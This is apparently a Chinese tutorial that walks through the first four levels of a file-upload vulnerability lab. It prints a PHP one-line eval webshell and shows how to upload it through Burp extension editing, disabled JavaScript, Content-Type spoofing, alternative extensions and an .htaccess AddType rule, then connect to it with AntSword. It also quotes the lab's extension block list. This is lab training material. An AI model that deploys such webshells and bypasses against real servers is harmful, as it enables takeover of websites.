一、抓包修改后缀名绕过前端验证,实现上传木马(第一关)
只适合只有前端验证的网站
一句话木马:
<?php
@eval($_POST['a']);
?>
保存到文件中:
使用第一关直接上传,报错:
按照网站要求,修改文件后缀名为jpg:
重新上传111.jpg文件,打开burp抓包,修改包中的后缀名
点击Forword上传,上传成功:
使用蚁剑连接后台步骤:
复制url:
连接成功:
原理就是验证后缀名的函数是在前端,当我们修改为jpg时,点击上传就通过了验证,但是包会被burp拦截,我们在修改后缀名,就能成功上传非法的文件了。
二、禁用前端JavaScript,绕过前端过滤
先把浏览器的前端JavaScript关闭:
直接上传php文件就好,可以上传成功
三、直接修改前端验证函数
F12:
然后直接上传php文件就可以,上传成功
四、使用Content-Type绕过后端验证(第二关)
当后端使用content-type来判断上传的文件类型时,我们更改burp抓包的此属性为合法的即可绕过验证
Content-Type: image/jpeg 这个是jpg文件的属性
我们上传php文件:
修改这个值为合法的jpg
修改后:
上传成功
蚁剑连接成功:
五、绕过后端验证,黑名单(第三关)
当后端使用黑名单机制禁止.php .php3等后缀时,我们要修改成不在黑名单内的后缀来绕过(比如.php5),但是缺点是我们还要在中间件中(httpd.conf)修改参数,确保我们修改后的后缀能够使用。所以需要有管理员权限才能使用,但是有了这权限还搞这个干嘛。同时,php的版本不能有nts,只适合老版本的网站。
六、.htaccess绕过后端验证,黑名单(第四关)
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
第四关就是黑名单更长了,后端把常用到的后缀都禁止了,但是漏了一个.htaccess 这个是局部的文件,只会影响当前目录或子目录
我们在一个以.htaccess结尾的文件中输入:
AddType application/x-httpd-php .jpg .txt
作用就是将.jpg .txt结尾的文件解析